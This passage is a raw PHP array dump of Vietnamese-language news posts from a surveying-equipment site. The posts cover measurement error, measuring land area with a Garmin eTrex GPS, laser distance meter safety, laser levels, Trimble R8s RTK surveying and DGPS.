<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div>
<div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div>
',
'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-04-25',
'modified' => '2025-08-10',
'status' => '1',
'view' => '82720',
'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '937',
'rght' => '938',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 4 => array(
'Post' => array(
'id' => '535',
'name' => 'Hướng dẫn đo diện tích đất bằng máy định vị cầm tay GARMIN ETREX 10/20X ',
'code' => null,
'alias' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(17, 17, 17); font-weight: 700; text-align: justify;">Những năm gần đây việc sử dụng máy định vị cầm tay để đo diện tích đất nông nghiệp, đất rừng… trở nên phổ biến. Người nông dân, thương lái đã ứng dụng thiết bị kỹ thuật vào việc đo diện tích đất để mua bán cao su, tiêu, điều,… một cách rất hiệu quả và chính xác.</span></span></span>',
'content' => '<p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Sau đây, chúng tôi xin phép hướng dẫn cách đo diện tích đất bằng máy định vị cầm tay Etrex 10/20x đơn giản và chính xác.<br />
<br />
<strong>Phần 1: Kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích</strong><br />
<br />
Máy định vị cầm tay Etrex 10/20 đo diện tích dựa trên tín hiệu vệ tinh vì vậy để số liệu đo chính xác thì vệ tinh thu được phải nhiều và đầy đủ. Hãy kiểm tra tín hiệu vệ tinh trước khi đo:<br />
<br />
- Nhấn <em>Menu</em> 2 lần để vào màn hình menu chính<br />
<img alt="" src="/admin/webroot/upload/image/images/Hình 2.jpg" style="width: 300px; height: 300px;" /><br />
<br />
- Di chuyển con trỏ vào ô <em>Satellite</em> => nhấn <em>Enter</em><br />
<img alt="" src="/admin/webroot/upload/image/images/Hình 3(1).jpg" style="width: 381px; height: 510px;" /><br />
<br />
- Màn hình vệ tinh sẽ hiện ra. Trên góc phải phía trên màn hình thể hiện sai số của máy. Khi hiện ra số từ 3 - 5m tức là vệ tinh đã tốt, chúng ta có thể bắt đầu đo diện tích đất.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/Hình 4(1).jpg" style="width: 306px; height: 409px;" /><br />
Sau khi kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích sẽ tiến hành đo diện tích đất.<br />
<br />
<strong>Phần 2: Tiến hành đo diện tích đất</strong><br />
<br />
<strong>Bước 1:</strong> Nhấn nút <em>Menu</em> trên máy 2 lần để trở về màn hình menu chính<br />
<img alt="" src="/admin/webroot/upload/image/images/Hình 1 lần 2.jpg" style="width: 300px; height: 300px;" /><br />
<em>Hình 1. Nhấn Menu 2 lần để trở về màn hình chính</em><br />
<br />
Bước 2: Di chuyển con trỏ vào biểu tượng có chữ <em>Area Calculation</em> (chức năng đo diện tích) => nhấn <em>Enter</em><strong>. </strong>Màn hình đo diện tích sẽ hiện ra.<br />
<img alt="" src="/admin/webroot/upload/image/images/Hình 2 lần 2.jpg" style="width: 311px; height: 414px;" /><br />
<em>Hình 2. Di chuyển con trỏ vào biểu tượng có chữ Area Calculation</em><br />
<br />
Bước 3: Bây giờ hãy vào khu đất cần đo diện tích và nhấn <em>Enter</em> vào chữ <em>Start</em>, sau đó đi vòng quanh khu đất cần đo.<br />
<img alt="" src="/admin/webroot/upload/image/images/Hình 3 lần 2.jpg" style="width: 400px; height: 533px;" /><br />
<em>Hình 3. Nhấn Enter vào chữ Start</em><br />
<br />
Bước 4: Sau khi đi vòng quanh khu đất cần đo đến vị trí xuất phát ban đầu nhấn <em>Enter</em> vào chữ <em>Calculate.</em><br />
<img alt="" src="/admin/webroot/upload/image/images/Hình 4 lần 2.jpg" style="width: 296px; height: 395px;" /><br />
<em>Hình 4. Nhấn Enter vào chữ Calculate</em><br />
<br />
Màn hình hiển thị kết quả đo diện tích sẽ hiện ra:<br />
<img alt="" src="/admin/webroot/upload/image/images/Hình 5.jpg" style="width: 309px; height: 412px;" /><br />
<em>Hình 5. Hiển thị kết quả đo</em><br />
<br />
Tùy vào mỗi mục đích công việc khác nhau mà chúng ta lựa chọn đơn vị đo phù hợp.<br />
Để chọn đơn vị đo bạn chỉ cần di chuyển con trỏ vào chữ <em>Change Units</em> và nhấn <em>Enter </em>=> màn hình sẽ hiện ra các đơn vị đo để bạn lựa chọn, thông thường chúng ta sẽ đo diện tích khu đất lớn nên chọn vào đơn vị Hectares<strong> (</strong>Ha<strong>).</strong><br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/Hình 6.jpg" style="width: 376px; height: 502px;" /><br />
<em>Hình 6. Chuyển đơn vị đo</em><br />
<br />
<strong>Cần lưu ý là phải đi thành 1 vòng khép kín thì máy mới đo diện tích khu đất một cách chính xác.</strong></span></span><br />
</p>
<p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">
</p>
',
'images' => '2019042407173039b311cfd409011833b1fdef4dd12cf9.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-04-24',
'modified' => '2025-08-10',
'status' => '1',
'view' => '56568',
'slug' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '935',
'rght' => '936',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 5 => array(
'Post' => array(
'id' => '534',
'name' => 'Những lưu ý khi dùng máy đo khoảng cách laser',
'code' => null,
'alias' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. </span></span>',
'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Máy đo khoảng cách laser với ưu điểm thiết kế cầm tay nhỏ gọn, đút túi dễ dàng và kết quả phản hồi nhanh. Các tính năng cơ bản bao gồm đo khoảng cách, tính toán theo pitago, diện tích, thể tích, chu vi, đo góc, cộng trừ nhân chia. Ngoài ra, riêng dòng Leica có thêm rất nhiều tính năng vượt trội cho người chuyên nghiệp như đo cạnh trên cao, đo sườn đồi, đo độ nghiêng mái nhà, tính cạnh gián tiếp...<br />
<br />
Trước khi sử dụng bạn cần đọc các lưu ý quan trọng dưới đây để tránh làm hỏng thiết bị hoặc gây hại đến người xung quanh. <br />
<br />
- Không để tia laser hướng về phía người hoặc động vật và không nhìn vào tia laser trực tiếp hoặc qua phản chiếu.<br />
- Nếu tia laser hướng vào mắt, bạn phải nhắm mắt lại và ngay lập tức xoay đầu để tránh tia laser.<br />
- Không được sử dụng kính nhìn laser như là kính bảo hộ lao động.<br />
- Không được nhúng dụng cụ đo vào trong nước hay các chất lỏng khác.<br />
- Lau sạch bụi bẩn bằng một mảnh vải mềm và ẩm.<br />
- Không sử dụng bất cứ chất tẩy rửa hay dung môi nào.<br />
- Nếu dụng cụ đo bị trục trặc, vui lòng liên hệ bộ phận kỹ thuật của chúng tôi để được hướng dẫn và bảo hành. Tuyệt đối không tự ý tháo mở dụng cụ đo ra để tránh làm thiết bị hỏng hóc thêm.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/H1.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H2.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H3.jpg" style="width: 236px; height: 138px;" /></span></span><br />
<br />
<p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;">
<img alt="" src="/admin/webroot/upload/image/images/H7.jpg" style="width: 500px; height: 360px;" /></p>
',
'images' => '20190301033534e604a531789bb8c3cfaceb0b2346fd77.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-03-01',
'modified' => '2025-08-10',
'status' => '1',
'view' => '68693',
'slug' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '933',
'rght' => '934',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 6 => array(
'Post' => array(
'id' => '533',
'name' => 'Cùng tìm hiểu về dòng máy thuỷ bình laser',
'code' => null,
'alias' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.</span></span>',
'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người. Các chức năng nổi bật đó có thể bao gồm:<br />
- Là thiết bị đo đạc ở các khoảng cách khác nhau từ gần đến xa, từ địa hình bằng phẳng đến nhưng nơi trắc trở nhiều nguy hiểm. Máy thuỷ bình laser có thể hỗ trợ con người trong việc tính toán và lập sơ đồ công trình rất nhanh chóng và chính xác.<br />
- Sử dụng máy trong việc quét mã vạch laser của ngành công nghiệp thương mại giúp bạn có được những kết quả tuyệt đối và tiện lợi hơn.<br />
- Ngoài ra, máy thuỷ bình laser còn là một thiết bị có ứng dụng rộng rãi trong ngành công nghiệp sản xuất, giáo dục, t tế và giao thông, công nghiệp vận chuyển.<br />
<br />
<strong>Một số cách phân loại máy thuỷ bình laser nổi bật nhất</strong></span></span><br />
<ul>
<li>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua màu sắc</span></span></li>
</ul>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Màu sắc máy thuỷ bình laser sẽ tương ứng với màu sắc tia laser được tích hợp bên trong máy và những dòng máy có màu sắc khác nhau sẽ có các đặc tính sử dụng cũng như nhiều ưu nhược điểm khác nhau. Một số dòng máy thuỷ bình laser chính được phân loại theo hình thức này đó chính là máy tia xanh, tia đỏ, tia cam, tia xanh ngọc, tia hồng. Tuy nhiên, nổi bật hơn cả vẫn là hai dòng máy chính tia xanh và tia đỏ. Chúng được xuất hiện phổ biến trên thị trường với những vai trò vô cùng hữu ích, khả năng ứng dụng đa dạng và linh hoạt cho người dùng.<br />
<img alt="" src="/admin/webroot/upload/image/images/1539914884-may can bang2 (1).JPG" /></span></span><br />
<ul>
<li>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser theo nhà sản xuất</span></span></li>
</ul>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Có rất nhiều đơn vị khác nhau gia nhập vào lĩnh vực thiết kế, sản xuất và phân phối máy thuỷ bình laser ra thị trường. Một số thương hiệu nổi bật có thể kể đến như dòng máy thuỷ bình laser thương hiệu Hàn Quốc, Nhật Bản, Đức: Sincon, Bosch, Fukuda, Laisai,...<br />
<img alt="" src="/admin/webroot/upload/image/images/1512013048_may-can-bang-laser-sincon-sl-333.jpg" style="width: 455px; height: 481px;" /></span></span><br />
<ul>
<li>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua số tia được tích hợp</span></span></li>
</ul>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Số tia của máy thuỷ bình laser có ảnh hưởng rất lớn đến hiệu quả ứng dụng, đến mức độ phổ biến và khả năng sử dụng thực tế của máy cho các nhu cầu của người dùng. Tùy từng mục đích khác nhau bạn có thể chọn lựa dòng máy thuỷ bình laser với số tia vừa phải như 2 tia, 3 tia, 4 tia, 5 tia. Số lượng tia càng lớn thì giá thành máy càng cao, tuy nhiên hiệu quả và các chức năng máy mang lại sẽ càng lớn.<br />
<br />
<strong>Đánh giá một số ưu điểm của máy thuỷ bình laser trên thị trường hiện nay:</strong><br />
- Sử dụng máy thuỷ bình laser có thể thay thế hoàn toàn các phương thức đo đạc truyền thống với các kết quả đảm bảo độ chính xác, nhanh chóng và rất tiện lợi. Bạn có thể tránh đi được các thao tác phức tạp cần phải thực hiện, ngoài ra là còn tránh được các sai lệch có thể ảnh hưởng trực tiếp đến những công trình thực tế đang nghiên cứu hoặc thi công.<br />
- Việc sử dụng các dòng máy thuỷ bình laser hiện đại ngày nay rất đơn giản, chỉ cần nhấn nút và kiểm tra kết quả đo. Việc băn khoăn về những công việc cần làm cũng được giảm đi đáng kể. Từ đó giúp tiết kiệm thời gian rất nhiều.<br />
- Các thiết kế máy thuỷ bình laser hiện nay đều rất hiện đại, sang trọng với khả năng thu hút, bắt mắt, thể hiện cho sự cập nhật xu hướng cho chính người dùng, người chủ của máy.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/images(1).jpg" style="width: 225px; height: 225px;" /><br />
<br />
<strong>Một số nhược điểm của máy thuỷ bình laser:</strong><br />
Tuy mang trong mình nhiều ưu điểm nhưng vẫn không thể phủ nhận được một số khuyết điểm mà máy thuỷ bình laser vẫn còn gặp phải. Việc sử dụng máy tuy đơn giản nhưng luôn cần phải đảm bảo đúng và đủ các thao tác cần thiết. Nếu không sẽ không thể thu được kết quả đo. Ngoài ra, khi ứng dụng máy thuỷ bình laser trong một số điều kiện về địa hình trắc trở hay có nhiều vật cản, kết quả đo đạc thu được có thể sẽ không đảm bảo được độ chính xác tuyệt đối.<br />
Mức giá của các dòng máy thuỷ bình laser khá lớn, thường cao hơn so với các lựa chọn của phương pháp đo đạc truyền thống. Vì vậy, chi phí đầu tư ban đầu cần bỏ ra cho phương pháp cần phải xác định là sẽ tốn kém hơn. Tuy nhiên, so với những hiệu quả mà máy có thể mang lại thì đây hoàn toàn là những con số có thể chấp nhận được.<br />
</span></span>',
'images' => '20190213030954ce4c7d18ea6c8d4e032f065a283c7634.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-02-13',
'modified' => '2025-08-10',
'status' => '1',
'view' => '66484',
'slug' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '931',
'rght' => '932',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 7 => array(
'Post' => array(
'id' => '532',
'name' => 'Đo đạc khảo sát bằng công nghệ RTK - TRIMBLE R8S ',
'code' => null,
'alias' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghệ GPS RTK trong đo đạc khảo sát địa hình giúp rút ngắn thời gian đo đạc ngoài thực địa.<br />
Phương pháp đo vẽ bằng công nghệ RTK rất đơn giản.Khả năng đo chi tiết ở khoảng cách khá lớn.Trạm máy ít phải di chuyển nên tốc độ đo nhanh hơn. Với công nghệ RTK, nhân lực giảm, mang lại hiệu quả lớn về mặt kinh tế.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/1545100541-r8s-4 (1)(1).JPG" style="width: 841px; height: 329px;" /><br />
Cùng với đó, để nâng cao năng suất và hiệu quả của công việc đo đạc khảo sát, bạn cần kết hợp với thiết bị máy toàn đạc điện tử để đo đạc.<br />
<br />
Để bắt kịp xu thế, Trimble – hãng sản xuất của Mỹ cho ra đời dòng máy định vị vệ tinh GNSS 02 tần số R8s. Máy có thiết kế nhỏ gọn và các tính năng nổi bật, đặc biệt là độ chính xác cao.Chuyên dùng trong công tác khảo sát thành lập lưới khống chế tọa độ với độ chính xác cao;<br />
Ngoài ra Trimble R8s cũng có thể được dùng trong việc khảo sát, thi công công trình như một chiếc máy đo đạc thông minh.Có thể thực hiện được tất cả các công việc trắc địa như giao hội, bố trí đường cong, tính diện tích.<br />
<br />
<strong>Các tính năng nổi bật của Trimble R8s GNSS:</strong><br />
+ Bộ thu vệ tinh có thể lập cấu hình và tùy chỉnh nhằm đáp ứng yêu cầu của người dùng<br />
+ Có cấu hình xử lý hậu kỳ, cấu hình chỉ gồm trạm Base hoặc trạm Rover.Hoặc cấu hình bao gồm cả hai trạm Base và Rover<br />
+ Khả năng dò tìm vệ tinh tiên tiến với công nghệ thu vệ tinh Trimble 360<br />
+ Gồm bộ vi mạch Trimble Maxwell 6 với 440 kênh<br />
+ Tích hợp đơn giản với dòng máy toàn đạc Trimble S-series và trạm Rover V10 Imaging<br />
+ Phần mềm hiện trường Trimble Access và phần mềm nội nghiệp Trimble Business Center đầy trực quan<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/1545100540-r8s-2(1).jpg" style="width: 426px; height: 600px;" /></span></span><br />
<div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">Với những tính năng nổi trội như trên, Trimble R8s sẽ là một giải pháp hoàn thiện cho công tác đo đạc khảo sát thành lập bản đồ.</span> </span></span></div>
<div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;">
</div>
',
'images' => '20181225030718344e0b16ef2063800ec3d36fa19f99b7.png',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2018-12-25',
'modified' => '2025-08-10',
'status' => '1',
'view' => '66301',
'slug' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '929',
'rght' => '930',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 8 => array(
'Post' => array(
'id' => '531',
'name' => 'Công nghệ DGPS và ứng dụng của nó.',
'code' => null,
'alias' => 'cong-nghe-dgps-va-ung-dung-cua-no',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span>',
'content' => '<p>
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span><br />
</p>
<p>
